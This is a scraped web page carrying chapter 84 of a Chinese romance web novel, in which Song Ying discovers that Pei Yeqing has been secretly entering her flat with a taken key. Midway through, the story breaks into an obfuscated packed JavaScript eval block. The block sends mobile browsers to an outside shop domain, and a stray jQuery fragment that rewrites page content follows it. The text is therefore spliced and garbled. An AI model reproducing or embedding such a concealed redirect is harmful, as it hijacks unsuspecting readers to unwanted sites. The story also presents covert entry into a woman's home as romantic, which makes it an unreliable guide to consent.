第84章 当烟花散尽,夜色死寂,伤我全无犹豫…

作品:《婚姻加减法

    他一语不发,车子开得飞快。


    我看着他阴郁的脸色,想要张口,又咽下肚子里的话,低头。


    他这个样子太可怕了,我根本不敢发出任何动静!


    忽然间,车子里的音响开了,这是我第一次听到他听的歌曲。


    压抑的空气里,伤感的旋律,伤感的词曲——


    当某一瞬间,想要追随你,


    却来不及,


    像一场游戏,你悄然离去,


    遥不可及,


    当烟花散尽,夜色死寂,


    伤我全无犹豫


    ……


    我怔怔地听着,听到忘情处,几乎忘记了呼吸。


    “当烟花散尽,夜色死寂,伤我全无犹豫~”


    裴夜擎,你也曾觉得,夜色死寂?


    我机械地转过头,看着他在夜色霓虹之中,忽明忽暗的脸孔。


    那么完美的侧面轮廓,展示了世界上所有的惊艳与俊美,此时却没有一丝情绪,任由悲伤弥漫。


    悲伤的旋律还在固执地重复,“伤我全无犹豫……”


    裴夜擎,是否你也曾被我伤害?


    我的心尖开始有一种痛在蔓延,痛,痛到极致。


    车子噶然停下。


    他沉默的样子,看不出一丝喜怒,他转过脸孔,与我对视。


    “直到我睡里梦里,


    全都是你,


    该如何骗过自己……”


    我浑身一颤,裴夜擎,你知道么?我现在的睡里梦里,就像歌曲里面唱到的,全都是你!


    我闭上眼,睫毛上的泪滴终于落下。


    面前的空气一缩,是他朝我倾来,他的薄唇触及我的脸颊,吻得疯狂而又痛苦。


    这一次我没有躲避,我心尖的痛还在蔓|延,痛被他|点|燃,我整颗心都疼到万劫不复。


    裴夜擎,你现在究竟是愤怒,还是像我一样痛…


    夜色渐深。


    黑色保时捷里,他终于松开我。


    一句话不说,发动车子再次快速开去,车停下,我愣愣地看出这是我住着的青云小区。


    他停好车子,打开车门,两个人相顾无言,默默下车。


    他这一次没有主动抱我,而是跟着我一直上了电梯。


    我想说不要再跟着我,可是在这样压抑到了极点的气氛中,我连开口的勇气都没有。


    楼层到了,我还没动,他便一把扣住我的手腕儿,拉着我出了电梯。


    到了我的门前,我眼睁睁地看着他用修长的手指,从他的西裤口袋里勾出一串钥匙,然后,冷峻地打开了我的房门。


    我惊呆之极!


    裴夜擎,他怎么会有我房屋的钥匙?!


    呆愣之中,人已经被他提着扔进了客厅,他一脚关上了门,将钥匙朝玄关处一扔。


    我傻傻地看着他,一连串的疑惑蕴藏在脑海之中,一个字都问不出。


    耳边,他车子里悲凉的歌曲仿佛还在环绕——


    “我辗转世界,我跟自己道别,


    我无数次幻灭,


    我历尽千帆,我越过海岸线,


    我再次来到你身边……”


    我听得痴了、醉了,全然没有了反抗。


    他把我抵在墙壁上,一下一下,仿佛要与我一起彻底幻灭。


    我痛苦地看着他,又痛苦地感受着自己的反应,痛苦地仰头呼吸。


    他疯狂而压抑,压抑到了极点,反而成了最|猛|烈的战斗士,把我当成了他的靶垒。


    我极力咬着唇,耳边什么声音也听不到了,脑海中也只剩下一个名字,裴夜擎,裴夜擎,裴夜擎……


    孤寂到了极致的男人,在夜色之中绚烂得如同地狱里的火焰。


    而我,眼睁睁地被这团火焰包围,和他同归于尽……


    沉默的夜。


    一切渐歇。


    我睁开眼睛,看着身边睡着的男人,即便是在睡梦之中,他的呼吸也有着深刻的压抑和痛恨。


    我起身,坐在地板上,靠在床边凝望着他。


    裴夜擎,我终于知道我为什么每天晚上都要梦到你,梦得那么清晰。


    我没有得心理病,我的精神也没有出问题,都是因为你在每天夜里,来到我的房间看我。


    我终于知道隔壁邻居为什么作息习惯和我那么一致,我熄灯休息,他也熄灯休息。


    我加班到很晚,他也很晚。


    隔壁邻居,就是你。


    不知道你什么时候拿走了我房间的备用钥匙,你趁我睡着进我的房间,如入无人之境。


    裴夜擎,我很想问你,梦里我听到的那些甜蜜之极的话语,可是你亲口说的?


    可是你心底的真心言语?


    我眼角的泪水滴落,我趴在床沿,哭得无声而又放|肆。


    裴夜擎,如果你也还爱我,如果你不是回来报复我,那我们现在为什么还要互相折磨……


    头顶,有温热的大手掌抚上我的头发。


    “宋莹,”暗夜里,他终于哑哑地开口了,“别哭了,对不起。”


    我趴在床沿,感受着他手掌的温度,不敢抬头。


    就这样,他的温度笼罩在我的头顶,僵持了很久。


    终于,他缓缓起身。


    他走得极慢,走到了卧室门边,他似乎停顿了片刻,继而推门出去了。


    客厅里,我听到他的脚步声,随着开门、关门的响动消失。


    果然,隔壁的房门被打开、又被锁上、隔壁阳台上传出了光线、又熄灭。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13704720|144479||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一切如同梦幻。


    可念却不可说。


    裴夜擎……


    我再也睡不着,起身去冲澡,然后依靠在床边,打开昏黄的壁灯,翻看着我一直舍不得扔掉的日记本。


    它们伴随了我这么多年,一直没有见过光,这一川青春时期的心事,一字一句,都与他有关。


    我又想起季和他那位英语老师的故事,我看看邮箱,依旧没有回音。


    如果后来他和她也是悲剧,那么他会像我一样,重新遇到当初的一见钟情吗?


    如果能够,我希望他和她能够走到一起,能够步入婚礼的殿堂。


    只要不是像我和裴夜擎之间,在七年前发生过无法逆转和无法弥补的事情,都能有复合的机会吧……


    夜色斑斓。


    转瞬黎明。


    我趴在床沿,手里挂着那本日记,脑子里乱纷纷地想了很多。


    裴夜擎,希望再次见面时,你我都能够保持理智!


    至少,我们谁也不要再为难谁。


    上午,公司里,我慢吞吞地工作着。


    可能是心情低落的原因,我的工作效率并不是很高。


    小组长在半个小时内,从我身后来来回回走了两次,最后终于看不下去了!


    “宋莹,你卡死在这一页上了吗?怎么半个多小时过去了,你还在盯着这一堆发呆?”


    我抱歉地笑笑:“刚才在想问题,这一点比较难处理。”


    小组长俯身,仔细看了一下,顿时黑脸:“哪里难处理了?这对你来说不到半个小时就能弄好的啊!不要磨洋工,你要是觉得无聊,去给我送份材料到设计部去!”


    “组……”


    我一句“组长”还没喊出口,魏勇同志已经折回里面,哗啦啦打印出一沓材料走出来递给我,“去,送给设计部萧木设计师!”


    “我刚才是在……”


    话还没有说出口,再次被魏勇同志给堵回去,“快去快回!让他看完签了字,加上之前的另一份材料一起,再给我拿下来!真是的,我也没个秘书,不用你们用谁!都是平时给你们惯得!”


    魏勇说着甩甩手进了里间,继续噼里啪啦地干活儿了。


    我惊呆极了,小组长,你啥时候惯过我们仨啊?!


    小姚和刘姐看看小组长的方向,纳闷地问我:“他不是要追你么?怎么这种态度?你得罪他了?还是……你直接拒绝了我们小组长?!”


    “都没有啊,”我尴尬地拿着手中的材料,又看看小组长正在办公室里忙碌的身影,“可能是进度追得紧,他看我的工作半晌没有一点进展,生气了吧。”


    “啧啧!怪不得工资不低,却是个单身狗,”刘姐压低声音,一脸老江湖的模样,“哪儿有这么追女孩的!”


    我:“……”